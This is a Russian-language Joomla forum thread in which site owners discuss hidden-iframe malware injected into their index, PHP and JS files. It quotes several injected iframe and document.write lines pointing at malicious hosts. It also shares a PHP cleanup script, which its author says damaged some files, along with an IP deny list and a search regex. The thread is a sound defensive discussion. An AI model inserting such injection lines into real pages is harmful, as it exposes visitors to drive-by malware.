0 Пользователей и 1 Гость просматривают эту тему.
  • 22 Ответов
  • 36497 Просмотров
*

New_guy

  • Осваиваюсь на форуме
  • 35
  • 0 / 0
  • Главное не спалится...
Интересует следующий вопрос.
Не открываются сайты на Joomla 1.5. Внутри индексного файла в самом конце имеется следующий кусок кода
Код
<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>

И насколько я понял, аналогично он размещен во всех файлах, которые инклудятся в индексном файле и так далее.
Так вот, может ли это произойти из-за каких либо уязвимостей в скриптах Joomla или сугубо ответственность на администрации или хостинге?

[записка модератора: тема перенесена в раздел "Безопасность сайтов на Joomla"]
« Последнее редактирование: 07.10.2010, 17:53:12 от 4webspot »
*

Aleks_El_Dia

  • Живу я здесь
  • 3672
  • 353 / 0
  • AEDStudio Joomla! Direction
Какими еще стандартными средствами. Либо угнали пароли к фтп с компа, либо хостер.
Если есть подозрение что админ мог накосячить, без доступа к фтп - то теоретически можно поставить какой-то компонент екплорера и отредактировать или залить файлы.
« Последнее редактирование: 05.10.2010, 13:13:47 от Aleks_El_Dia »
Спам придумали боги в отместку за наши молитвы (с) Рома Воронежский
На молоко: Z369038872422 || R210017695494 || U247040729215 || ЯД 410011288250383
Мигрирую сайты, переношу расширения J!1.0->J!1.5->J!2.5. Более 50 успешных миграций.
*

OSA

  • Новичок
  • 3
  • 1 / 0
точно такое же
используется ISPManager
написал скриптик для удаления вируса

Код
<?php
//Virus removal script by OSA
//v1.0 7.10.2010

$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
$dir = '/'; <-- тут указываете директорию (пример: /var/www/data/www/)
$num_infected = 0;
$del = false; <-- меняем здесь на true если хотим сделать очистку от вируса.

function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh))!== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir . $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}

function del_virus ($filename)
{
    $flag = false;
    echo $filename;
      
        $file=file($filename);
        foreach($file as $k=>$v)
        if (!stristr($v,$GLOBALS['virus_text']))
        $nfile[]=$v;
        else
        {
         if (!$flag) {              
            $flag=true;        
            echo " - infected";
            $GLOBALS['num_infected']++;
         }
        }
        if ( $GLOBALS['del'] ) {
            $file=fopen($filename,"w");
            fwrite($file,implode($nfile,""));
            fclose($file);
        }
    echo "<br/>";  
};

dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );

echo "Num infected = $num_infected <br/>";
?>

все вылечило
но некоторые файлы помойму покоцало по другому
пришлось пару файлов восстанаваливать руками, но это не 1500 файлов все таки.
*

vikvol

  • Захожу иногда
  • 52
  • 2 / 0
Скрип работает, БОЛЬШОЕ СПАСИБО!
но теперь нужно найти причину появления левого кода в файлах, ибо у меня уже второй раз слетает сайт, первый раз лечил переносом файлов из бекапа, второй скриптом OSA  Помогите найти причину появления лишнего кода.
*

steal

  • Захожу иногда
  • 117
  • 2 / 2
подскажите как пользоваться данным скриптом?
*

OSA

  • Новичок
  • 3
  • 1 / 0
сорри что не отвечал
скрипт использовать довольно просто

меняем строчки вначале скрипта

$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
- тут пишем строчку вируса, которую надо удалять из файлов

$dir = '/';
- тут начальная директория в unix виде. сначала не подумал. сейчас сделаю чтобы она задавалась автоматом - как начальная директорию откуда вызывается скрипт
пишем
$dir = getcwd().'/';
- это атоматически задает текущую директорию где лежит скрипт.

$num_infected = 0;
- это просто счетчик инфицированных файлов. его трогать не надо

$del = false; <-- меняем здесь на true если хотим сделать очистку от вируса.
- сначала скрипт вызывается без удаления. если отработал нормально - можно поставить здесь true и запустить еще раз для удаления

далее просто сохраняем скрипт на сайте (заливаем по FTP) и вызываем из браузера - типа http:\\site.com\delvirus.php
и смотрим список всех файлов. если есть надпись infected - то он ессно infected
P.S.
и все таки интересно бы узнать как этот вирус пробирается на сайт
и почему он не только инфицирует файлы, а и некоторые портит
« Последнее редактирование: 31.10.2010, 23:21:24 от OSA »
*

OSA

  • Новичок
  • 3
  • 1 / 0
написал новую версию с мелкими исправлениями.
а именно:
директория задается автоматически.
появился параметр $skip_files типа массив, где можно задать список файлов, которые не стоит лечить (например сайт файл скрипта)

Код
<?php
//Virus removal script by OSA
//v1.1 31.10.2010

$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
$skip_files = array ('delvirus.php');
$del = false;
$dir = getcwd().'/';
$num_infected = 0;

function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh))!== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir, $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}

function del_virus ($fdir, $ffile)
{
    $flag = false;
    $filename = $fdir.$ffile;
    echo $filename;
     
        $file=file($filename);
        foreach($file as $k=>$v)
        if (!stristr($v,$GLOBALS['virus_text']))
        $nfile[]=$v;
        else
        {
         if (!$flag) {               
            $flag=true;
            if (in_array($ffile, $GLOBALS['skip_files']))
            echo " - skipped";
            else
            {
                echo " - infected";
                $GLOBALS['num_infected']++;
            }
         }
        }
        if ( $GLOBALS['del'] ) {
            $file=fopen($filename,"w");
            fwrite($file,implode($nfile,""));
            fclose($file);
        }
    echo "<br/>"; 
};

dir_walk('del_virus', $dir, array('php','php5','html','htm','shtml'), true, $dir );

echo "Num infected = $num_infected <br/>";
?>
*

e-homa

  • Осваиваюсь на форуме
  • 17
  • 5 / 0
это проблема на 99% увода трояном пароля на ftp (причем не обязательно у вас). вирус (или ссылка через iframe) дописывается в начало или в конец файла обычно по маске index.* НИ Joomla ни компоненты обычно ни причем! у меня была проблема с Joomla и bitrix на одном хостинге потому что у заказчика троян увел пароль ftp с домашнего компа. код дописывает робот, и часто заинтересованные лица и исполнители вообще не говорят по русски. самое простое это поменять пароль на ftp.
убедится что это не компонент и не Joomla можно просмотрев логи или спросив у хостера как был осуществлен доступ - если ftp то делайте выводы сами.
*

сергей_Ш

  • Захожу иногда
  • 187
  • 1 / 0
Уважаемые.. выловил во все js файлы дописку в конце вида:
;document.write('<iframe style="position:fixed;top:0px;left:-500px;" src="http://ccmxaqt.qhigh.com/3f9b0edf4abf8.try?11" height="350" width="250"></iframe>');

причем ссылка в вредоносном коде рендомно меняется после удаления, т.е убиваю код - через какое то время появляется тоже самое только вместо ccmxaqt.qhigh.com какая нибудь другая ссылка стоит, например так:

;document.write('<iframe style="position:fixed;top:0px;left:-500px;" src="http://cfd.erggaut.com/3f9b0edf4abf8.try?11" height="350" width="250"></iframe>');
==================================================================
нашел сие действо, убил. пришлось ручками все js файлы перелопатить.
при этом: убил ftp клиент полностью, поставил другой, запретил браузеру и ftp клиенту запоминать пароли для входа на хостинг/биллинг/фтп/админку.
+ скачал двиг себе, проверил др.веб лиценз антивирем - ничего не найдено.
+ сменил пароли на хостинг/биллинг/фтп/админку

на следующий день такая же фигня - все дописки вредоносного кода на месте, как и не делал я чего...
как бороться?

попросил хостера посмотреть есть ли в бекаппе недельной давности вредоносные коды. их там не было. восстановили бекапп - сутки все было ок, даже Google выкинул сайт из проблемных. сегодня с утра все снова.. все вредоносные коды на своих местах как и не делалось ничего..
*

allegus

  • Новичок
  • 8
  • 1 / 0
Один в один с выше написанным: ;document.write('<iframe style="position:fixed;top:0px;left:-500px; - Joomla 1.5.23
чищу куски кода Text Replacer 2.17 » заливаю - появляется по новой. Реально в течении нескольких минут js и php дописками обрастают!
Стало появляться ещё это вместо тех ссылок...

Код
document.write('<iframe style="position:fixed;top:0px;left:-500px;" src="<html>
<head><title>502 Bad Gateway</title></head>
<body bgcolor="white">
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx</center>
</body>
</html>
" height="350" width="250"></iframe>');

Смена паролей как и описывал Сергей_Ш не помогла - прописка появляется снова (( - началось так же, дней десять назад примерно.

Пока настроил синхронизацию (перезапись) с помощью «GoodSync 9» всех *.js и *.php - с локального диска на FTP - что-то лень стало ручками чистить, подумаю потом в чём дело - ну или массово у кого ещё всплывет и решение найдётся в чьих-то умных головах.

Пароли в браузерах не храню - пользуюсь лицензионным RoboForm - на FTP через WinSCP хожу, так что это не увод паролей...

Вывод: используется новый эксплойт в каком-то коде ))
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Цитировать
Вывод: используется новый эксплойт в каком-то коде ))
@allegus
в вашем случае как и у всех редактор JCE
*

allegus

  • Новичок
  • 8
  • 1 / 0
@allegus
в вашем случае как и у всех редактор JCE
Уже устранил, да - именно после того как днём встретил инфу про images/stories и JCE
*

s-filipp16

  • Новичок
  • 1
  • 0 / 0
Борюсь с проблемой уже почти месяц. Пока безуспешно.
Стоит редактор JCK может в нем проблема? подскажите пожалуйста в каком направлении работать.
Мозг уже кипит.
*

xspline

  • Осваиваюсь на форуме
  • 41
  • 2 / 0
попробуй вот это в .htaccess:
Order Allow,Deny
Allow from all
Deny from 94.242.233.74/24
Deny from 217.23.5.230/24
Deny from 208.115.96.0/24
Deny from 208.115.97.0/24
Deny from 208.115.98.0/24
Deny from 208.115.99.0/24
Deny from 208.115.100.0/24
Deny from 208.115.101.0/24
Deny from 208.115.102.0/24
Deny from 208.115.103.0/24
Deny from 208.115.104.0/24
Deny from 208.115.105.0/24
Deny from 208.115.106.0/24
Deny from 208.115.107.0/24
Deny from 208.115.108.0/24
Deny from 208.115.109.0/24
Deny from 208.115.110.0/24
Deny from 208.115.111.0/24
Deny from 208.115.112.0/24
Deny from 208.115.113.0/24
Deny from 208.115.114.0/24
Deny from 208.115.115.0/24
Deny from 208.115.116.0/24
Deny from 208.115.117.0/24
Deny from 208.115.118.0/24
Deny from 208.115.119.0/24
Deny from 208.115.120.0/24
Deny from 208.115.121.0/24
Deny from 208.115.122.0/24
Deny from 208.115.123.0/24
Deny from 208.115.124.0/24
Deny from 208.115.125.0/24
Deny from 208.115.126.0/24
Deny from 208.115.127.0/24
*

Serjj

  • Захожу иногда
  • 164
  • 4 / 0
  • Кот да Винчи
сорри что не отвечал
скрипт использовать довольно просто

меняем строчки вначале скрипта

$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
- тут пишем строчку вируса, которую надо удалять из файлов

$dir = '/';
- тут начальная директория в unix виде. сначала не подумал. сейчас сделаю чтобы она задавалась автоматом - как начальная директорию откуда вызывается скрипт
пишем
$dir = getcwd().'/';
- это атоматически задает текущую директорию где лежит скрипт.

$num_infected = 0;
- это просто счетчик инфицированных файлов. его трогать не надо

$del = false; <-- меняем здесь на true если хотим сделать очистку от вируса.
- сначала скрипт вызывается без удаления. если отработал нормально - можно поставить здесь true и запустить еще раз для удаления

далее просто сохраняем скрипт на сайте (заливаем по FTP) и вызываем из браузера - типа http:\\site.com\delvirus.php
и смотрим список всех файлов. если есть надпись infected - то он ессно infected

Запустил данный скрипт на своём инфецированном сайте. В результате Num infected = 0, хотя хостер прислал сообщение с целым списком инфецированных файлов. Почему скрипт их не обнаружил?
*

evgen777

  • Давно я тут
  • 657
  • 62 / 2
Вы свою строку для поиска вписали перед запуском скрипта?
Цитировать
$virus_text = '<iframe width="0" height="0" frameborder="0" scrolling="no" src="http://click-clickc.com/index12"></iframe>';
- тут пишем строчку вируса, которую надо удалять из файлов
Разработка, доработка расширений для Joomla!
*

Serjj

  • Захожу иногда
  • 164
  • 4 / 0
  • Кот да Винчи
Вписал.
Вот что мне прислал хостер:
Цитировать
document.write('<iframe src="http://vfjagcz.rebatesrule.net/abf3b55f7.HY1ZiJ2fvB1221d6?default" name="Sandal" height="10" width="10" style="left:-500px;top:0px;position:fixed;"></iframe>');
Я вписал <iframe src="http://vfjagcz.rebatesrule.net/abf3b55f7.HY1ZiJ2fvB1221d6?default" name="Sandal" height="10" width="10" style="left:-500px;top:0px;position:fixed;"></iframe>. Так?
*

icom

  • Давно я тут
  • 828
  • 201 / 4
Я вписал <iframe src="http://vfjagcz.rebatesrule.net/abf3b55f7.HY1ZiJ2fvB1221d6?default" name="Sandal" height="10" width="10" style="left:-500px;top:0px;position:fixed;"></iframe>. Так?
скорее всего адрес http://vfjagcz.rebatesrule.net/abf3b55f7.HY1ZiJ2fvB1221d6?default в каждом файле будет разный, и простым поиском ничего не найдете, нужно использовать регулярное выражение, для этого скачайте мой скрипт secu.ru/scripts/find-and-replace, в поле Текст поиска введите
Код
document\.write\('\<iframe src\=".*" name\="Sandal".*\<\/iframe\>'\);
отметьте Искать по маске и попробуйте найти, если результаты поиска вас устраивают, то отметьте Замена и нажмите Искать\Заменить
*

winstrool

  • Давно я тут
  • 816
  • 51 / 2
  • Свободен для работы
скорее всего адрес http://vfjagcz.rebatesrule.net/abf3b55f7.HY1ZiJ2fvB1221d6?default в каждом файле будет разный, и простым поиском ничего не найдете, нужно использовать регулярное выражение, для этого скачайте мой скрипт secu.ru/scripts/find-and-replace, в поле Текст поиска введите
Код
document\.write\('\<iframe src\=".*" name\="Sandal".*\<\/iframe\>'\);
отметьте Искать по маске и попробуйте найти, если результаты поиска вас устраивают, то отметьте Замена и нажмите Искать\Заменить
Ссылка на вашь скрипт битая!
*

icom

  • Давно я тут
  • 828
  • 201 / 4
Ссылка на вашь скрипт битая!
вроде работает

или имеете ввиду прямая ссылка на скрипт? так она динамическая, постоянной ссылки нет
*

Винни пух

  • Осваиваюсь на форуме
  • 10
  • 0 / 0
Уже устранил, да - именно после того как днём встретил инфу про images/stories и JCE

А что за инфа, где читать?
У меня та же история.
В папке images/stories нашел кучу левых .php файлов, через которые происходило, как я понимаю, заражение ява-скриптов. Я добавил в папку images правильный .htaccess, теперь там все в порядке.
А с JCE что делать?
*

Lipa

  • Осваиваюсь на форуме
  • 16
  • 0 / 0
Присоединяюсь к вопросу
*

Paphnuty

  • Захожу иногда
  • 68
  • 3 / 0
Присоединяюсь к вопросу
В соседней ветке можно почитать http://joomlaforum.ru/...
Я обновил до версии JCE 2.3.2.4, надеюсь больше подселения вирусов не будет.

В скрипте от OSA заменил строку
Код
echo " - infected";
на
Код
echo " - <span style='color: #A3484F; font-weight: bold;'>infected</span>";
Так сразу видно какой файл инфицирован
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

На сайте появился вирус

Автор Lifar

Ответов: 3
Просмотров: 129
Последний ответ 23.04.2021, 10:12:05
от ProtectYourSite
Вирус на сайте, редирект, что делать как лечить!

Автор flyingspook

Ответов: 792
Просмотров: 252982
Последний ответ 23.02.2020, 21:18:16
от draff
Хостер пишет, что Обнаружен вирус

Автор imrangerga

Ответов: 4
Просмотров: 590
Последний ответ 10.11.2019, 14:22:37
от ProtectYourSite
Постоянно появляется вирус троян

Автор andrey77777

Ответов: 43
Просмотров: 11270
Последний ответ 14.09.2019, 23:37:21
от wishlight
Помгите удалить вирус на сайте. В теме понимаю, но найти вирус не могу(

Автор Anvesinus

Ответов: 2
Просмотров: 784
Последний ответ 21.07.2019, 17:46:09
от Anvesinus